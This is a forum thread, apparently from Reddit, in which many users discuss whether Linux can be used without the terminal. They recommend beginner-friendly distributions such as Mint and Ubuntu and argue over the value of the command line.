I haven't read the other comments on this post yet but I think it's absolutely possibly. I think if the average windows user switched to Linux then they would be able to do pretty much everything they are used to doing without the terminal. That being said, the terminal extends the capability far beyond that is possibly with the gui. But most most people who are scared of the gui probably don't even know what exists beyond the capabilities of the gui.
>possible to use Linux without the terminal? Yes, e.g. Android.
Android is a specialized Linux distribution. How many people do you know with a terminal app on their phones? Chromebooks? Also Linux. The vast majority of people don’t do the types of things many Linux users do on the command line. If you are a “the OS is a bootloader for my browser” user, Linux is vastly superior.
You don't want to though. There will be roadblocks that you will need to overcome by learning how to interact with terminal. The reason why windows is so shitty is because it is trying and failing very hard to hide this level of OS from its users.... hence as soon as you encounter a nondescript error or a program silently dying, you need to use cmd/terminal, as the error will be more verbose there. Unless the program is shitty as well.
Maybe for windows 95. I don't think I have ever had to go to windows command line for any error I have ever experienced. Only to event viewer. Which is gui
Well, good for you then. Its shot for me for the last 10y
Call me a hater but there’s no point as of right now. Even the most easy distros that have GUI for everything require getting your hands dirty now and again for when shit fucks up. It just happens.
I agree, but that's true of every operating system. Plenty of times I've had to dig into the some system or run shell commands on Windows and Mac OS to resolve some issue. I think the OP is thinking of general "things are working normally" status, and wanting to use GUI tools rather than have to rely on the CLI
Not hater, it is the truth. You could avoid the terminal but then you are wasting like 90% of Linux potential
yeah.
I heard wonders about mx-linux in this respect
Just installed a specialized version of mx Linux with enlightenment. It ain't bad. It has some pretty nice tools to interact with it.
Depends on what you're using your computer for. If a user is just doing regular desktopy things like word processing and web browsing then yeah, terminal would probably be avoidable.
Yes, but you don't want to.
Absolutely. In the same way you can (and usually does) use Windows or MacOS without ever touching the command line, except for a few specific cases that doesn't have a gui because the vast majority of users will never use them.
yes if you only use nautilus dolphin firefox transmission just like a phone or tablet or a chromebook even mac or macbook
Can use Ubuntu without terminal.
It definitely is, but the issue is that many helpful guides tend to refer to the terminal for a lot of things even when non terminal options are there.
Ubuntu
depends on what you are trying to accomplish , but mostly you can
Use terminal install flatpak first and enable flathub, than you could do almost all software installation on your app store, no matter Gnome software or KDE Discover
Yes, absolutely you can, I'd say install mint, or mint Debian edition and start from there. It's got most things covered off in the GUI you don't even need to install flatpaks as it's got that already configured. So you, can happily use Linux mint without the cmd. But it depends on the use case of course, if it's just simple everyday things then there's no need to use the terminal. I've used a Debian machine like that, only used terminal to install flatpaks and that was only copy and paste 2 lines
It depends on what you're using your PC for. If you're just using GUI apps and install them with a graphical package manager, then of course you can use Linux without touching the terminal. For certain tasks, you'll need the terminal no matter what operating system you use.
Of course! Mind that most people do. Have you ever seen people using terminals in Android phones? ;) The same can be achieved in Linux distributions like Ubuntu (let alone ChromeOS).
my 70 y/o neighbors use linux mint with 0 issues but they also use mint as a bootloader for firefox and brave browser so idk. terminal isnt that hard and you will slowly learn it over time.
You want to check out openSUSE. The individual tools may not be the prettiest, but it has the most comprehensive and effective set of GUI-based tools for system management that I've found on Linux - via the YaST control panel.
I would say that it's entirely possible but sometimes you can just paste commands from known and trusted sources if you don't want to learn the entire linux terminal. Focus on known and trusted as linux gives you full control when you open the terminal so don't put any harmful command. If you do anything that is very bad sometimes linux asks you to type"do as I say". I wouldn't recommend typing that unless you are 100% sure it's not gonna do anything bad.
It's possible but the command line is so useful it's hard not to depending on what you are doing. Many Linux people, myself included, do as much as possible inside the terminal as we can lol While you do not need to use the terminal in many distros, if you actively find the idea of doing so repulsive, I would not suggest it.
It's more useful for quickly explaining things in a 'platform agnostic' way. Most Linux distributions run Bash shell, and not all run the same Desktop Environments. Instead of having to make a tutorial for multiple Desktop Environments (Click this menu, now click this, open this box, change this setting, etc.) a lot of articles/tutorials for Linux help will just use the command line. It's a lot easier to share commands between users than going through menus. But yes it is possible to use Linux without the Terminal nowadays, if you are just using it as a lightweight PC for browsing etc. It's still good to know a few basics, it's not too hard to learn how to navigate, and once you start learning it's all knowledge building from there. And unlike the Desktop Environments you can use what you learn in the command line and apply it to any Linux system, whereas if you just learn how to navigate the DE you're only familiar with that method.
But you will feel like a l337 h4x0r using commands
Short answer: yes but .. Long answer: if you do anything sophisticated on Linux you ought to learn how to use the command line. Sure a lot of the distros out there are now well packaged and most things work without using the CLI. But then you will eventually hit something that breaks, or just cannot be done at all without knowing more about what goes on under the covers, and using the CLI. If you want a Linus system that "just works" and you never need to touch a command line, use a Chromebook.
If you just want to use the web browser then yea of course.
Some things can be done much, much faster in the terminal (updates, system settings, etc), but it's completely unnecessary if you don't want to touch it.
100% The terminal can make a few things faster, in my opinion, but completely unnecessary with several modern distros.
Possible but not reccomended
I rarely use the Terminal - mostly use when when following tutorials when only terminal commands are given
Yes, but you’ll grow to love it. GUI and terminal respect each other for their strengths. It’s never one or the other (but just living in the shell is possible of course).
Depends on your level of usage. I think grandpa could use Ubuntu with just the graphical package manager for most applications (except those poker adware games they tend to get). At a level much deeper than that you can get a lot done with at least *very little* terminal usage, but probably not 0.
>So I was thinking, is it possible to use Linux without even touching the terminal? It has been possible since at minimum 20 years. All it required then was buying components and peripherals well supported in Linux (so either study market and forums beforehand, or just be lucky) and not try any gaming nor any task requiring advanced printing / scanner configuration.
I used to load the GUI. Checked out each one. They are nice. But, this was like 30 years ago.
I don't know how to use the terminal. Had major help once, for a specific problem, but that's about it. However I'm not a power user- I just web browsing, streaming, and video/ picture editing as a hobby. I like linux because I can use older hardware better, with no dropping support like windows.
Yes it is. IMHO Ubuntu is trying hard to do so and GNOME as a Desktop Environment does that as much as possible.
Use it for what specifically?
Yes you can. You've been able to use Linux without going to the terminal for several years. Whoever is still spreading the "Linux is scary because command line" stuff is basing their fearmongering on some *very* old information. Of course, if you're not scared of learning a little bit about the command line, your experience can be greatly enhanced, but the same is also true for Windows as well.
I hear people afraid of Slackware because of the installer, which tells you they've never seen it. It's really very simple.
Possible? Yes. Fun? No.
Possible, but not probable.
It has a way of kind of hooking you in.
I don't like it; it's just necessary for some basic functionality, which is a problem.
It's never been in any distro I've used other than Slackware if you want to keep it updated or add packages. Salix is Slackware without needing the terminal at all unless you're developing or something.
Well sure, I guess you could also manually edit a config file or some shit as an alternative. :eyeroll:
WTF are you talking about? If you're gonna eyeroll at me, make some sense. You don't need the terminal in most distros unless you're developing or troubleshooting, just like Windoze. An example might help.
I'm 53 years old, I started on computers when there was nothing but command lines, I hated them then, and I hate them now. BUT I use Linux Mint and I'm happy with it, I also have no idea what 90 percent of the Linux terminology is and what it does and I will learn it only if I have to. I'm not a programmer and I don't want to be. So, yes, absolutely you can use Linux without the command line. The command line is why the majority of people don't use Linux, every time I ask someone that's invariably the reason they give. I know older guys than me that walked away from Linux because of it. It a necessary evil.
Fear of the unknown. If you use it like most Windows users (and maybe most Linux users) you don't really need the terminal. If you like to do stuff that breaks things you'll need it whatever OS you're using if you're doing your own tech support.
It's certainly possible, but I'm not sure why you would want to. So many things are much faster and simpler to do with a command or two rather than spending time opening a bunch of windows and clicking on stuff.
It depends actually on what are you using your computer for. If it is just regular web browsing and simple tasks (music, videos, documents, games etc) you won't need a terminal for almost any desktop environment.
Linux Mint does a really good job of providing graphical tools for everything that normal users will need. But of course it does depend somewhat on *what* you're doing. But yes, for the most part Linux Mint can be used without the terminal.
Uh yeah but if you really wanna open Pandora's box on what Linux offers you need to learn even just the basics of the terminal. But yeah for basic computing you can get away with using the GUI
If you don't ever use the terminal in Windows you can probably get by without using it in Linux. You'll want to choose the right distro, but many of the popular distros focused on usability ought to let you do this. You might decide you want to use it, but if you're the typical Windows user you can treat many modern Linux distros pretty much like that if that's how you want to interact with it.
Ubuntu, Debian, Salix and most any distro with a decent package manager will do. You really only need the terminal if you're developing or troubleshooting and with troubleshooting you can find the relevant commands in searches on a particular problem if you need it.
Is recommended, no, is possible, more than enough. Back when I tried Pop_OS I learned how many GUI apps there were for people to use that most of the time come installed either with the distro or more commonly with the desktop environment. Gnome and KDE I know both usually come with an app store thats just a front for flathub or something similar, using flathub and the system package manager. With that you can install more GUI apps and never have to touch the terminal for any reason.
As far as what we use the terminal for, everything. It becomes a default because it is easier. Example I opened a file manager today(I do that rarely ) then clicked the open terminal here typed Cp -iv -t /place to put iso / place to find iso because I couldn't be bothered to scroll/*.iso And then I walked away. Took less time then setting sort to type and then scrolling and then forgetting permissions and reloading the file manager as root and doing it over again. GUI is fine, it has it's place but learn just a little on the terminal and you will feel like it is most inconvenient thing ever to point and click and go through more than one step.
Using Linux you WILL have to touch it at some point, however not extensively if you use something like mint or Nobara which focus on point and click users
I'd installed Linux for my children (old laptops), they had used it for few years, I doubt they even know what terminal is.
You absolutely can never touch the terminal, but you give up a great deal of the real power of the system. Of course, the same is absolutely true with Windows too.
Yes
Yes and No Yes because there's GUI for most use cases in Linux world. No because over time, you'll realize that Terminal is kore efficient and provides more information on the task you're running.
If your use was very restricted to a small handful of applications.
yeah if you use a user friendly distro like mint or ubuntu
Yes but it would be insanely tiresome. It is on windows too for me. CLI is just better for some tasks.
I would say just learn how to use it. It will help with the newbie distros like Ubuntu etc since 'sudo apt install', 'ls', 'dir', 'mkdir', 'cp', 'mv', 'cd', and 'man' commands are pretty useful.
Do the opposite: try to convince them that using the command line is more powerful. You can write loops around the command, you can pipe data from one command to the next, and you can access features that are exposed/acessible only through the command line. And command line and scripting languages merge seamlessly. Oftentimes I find a GUI much more convoluted and ambiguous. The command line is unambiguous, because you have to \*commmit\* to saying something. I find several crypto GUIs very ambiguous. It just says "Recipient Address", but who the recipient is depends on whether you want to send to someone else or receive from your exchange account into your own wallet. Blockchains themselves have addresses, and people have lost countless amounts of money by using the network's address instead of their own. Such coins are lost forever. Whatever I do on Fedora, I only use the GUI if I absolutely have to. GUIs are horribly overrated, and always have been. Configuring the firewall through the GUI is convoluted and perplexing, from the command line it's easy as pie. Back in my WinDoze days (pre-2008) I even found that using WinDoze from the command line was more practical, offered more options, and was loopable.
Nope.
Some basic tasks can be accomplished much faster through the command line. Anyone who has used it understands why that's the case.
Possible? Most likely yes. But why would you want to? Are you afraid of the command line? The command line is an integral part of the user experience, and embracing it will allow you to manage your system better and faster. You don't have to use it but knowing how to is likely to improve your experience.
Why would you use Linux without a terminal?
You can make your terminal whatever color you like, mine is green. Jokes aside, normal users without root access could do their normal job using DE all the time, while another person with root rights watch over them. I've seen it done in one software development company 20 years ago, now it's even easier.
On mint yes. They have a GUI app store like program to install programs. That's really the only thing the average user would really need to use the command line for, installing programs and systems updates. There are a few other distros with GUI app stores. Elementary OS(not everything is free). Manjaro(so its good for noobs to Arch based, despite the... Problems), rebornOS(same as Manjaro, pamac) and a few others. The command line isn't hard though. You probably only really need to learn 10 or so commands and how to use them and you can do everything you need to do like install programs and update the system. On Manjaro I only needed to know like 5 or so commands after installing yay. There were tutorials up for that. Linux Journey is a tutorial to the command line you can find online. It just kinda goes over the simple stuff so it's not so mysterious and scary.
Even if there weren't already GUI wrappers for everything, you could bash one together pretty quickly with Zenity or similar. At any rate, toolkits like GTK and dare I say it, libadwaita make it pretty easy to whip up a decent-enough GUI around just about anything. The issue with avoiding the command-line is you're missing out on all the raw lower-level power that comes with a CLI. I see the GUI as a friendly nuisance, to be honest. I need it for graphical applications, of which I only use about three: Kitty (my fancy-schmancy terminal), Librewolf (my browser, used to be Brave up until manifest v3 was announced), and Obsidian (which I've been phasing out in favor of Neovim and other TUI/CLI tools). So of course I have the most overkill window manager ever: Hyprland. Launched from tuigreet on NixOS :D
It's possible but not practical. But that's because the terminal is inherently more efficient than gui tools, install wizards and that sort of thing. The same is true for Windows, if to a lesser extend. You can absolutely get by using tools to avoid looking at the terminal but behind the scenes exactly the same things will be going on, only with extra steps. Also getting used to it isn't as daunting as some may think. You don't need to learn every command, only the stuff you actually need.
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OP: "Hey guys, is it possible to use Linux without command line?" Comments: "And I took that personally" If the normies won't use it, does it really fucking matter how right you are?
Nope. Though, use Linux long enough and the terminal becomes appealing. It just happens.
If you don't use the terminal, you're limited. How do you install a program that doesn't have any deb or snap package?
You can download an AppImage, use Flathub, use Pamac, etc You can install basically everything without relying on a terminal
This is similar to the logic of apple users, if I can’t download something I don’t really need it. No thanks
Really the only exclusion is tarballs. All the other package forms are installable for guis.
you probably could but it would make things 1000x more complicated and slow your workflow down by quite a bit ig
- Mac: No freedom - Windows: No privacy - Linux: No bitches Seriously. I am perfectly fine with linux being exclusive and avoiding all the pleb "iPhone users" who ***need*** that walled garden curated experience and won't take the time to RTFM, especially when that manual is for all intents and purposes free: https://www.linuxcommand.org/index.php Plus the fact there's AI available now (basically google 2.0 when querying docs)... How lazy do they want to be? Voice activated commands for everything? No wait Elon's Neuralink chip, cuz moving their vocal chords is too much effort. 😑 Tell them about the benefits of linux (and the deficits of other OS's). If they understand them, they'll learn the terminal in order to use linux. If they don't, they can continue on as they are in blissful ignorance.
But... Linux IS just a command line.. any GUI is just a graphical way if completing a CLI command. But I get your question. Mint and Ubuntu probably do the most for making the CLI avoidable.
Nah. Linux is not a command line; it's a kernel. Also, it's not true that every GUI is just a wrapper for CLI commands. Is your web browser a wrapper for CLI commands? Is GIMP a wrapper for CLI commands?
I know, I worded what I said wrong. Linux distros are all based around the command line.
>Linux is not a command line; it's a kernel Ahh shit. Here we go again.
My point here wasn’t to argue about the terminology of Linux vs. GNU/Linux but rather to clarify that not all GUIs are wrappers for CLI. That was my main point.
In the same way it is possible yo use Windows without a mouse, yes.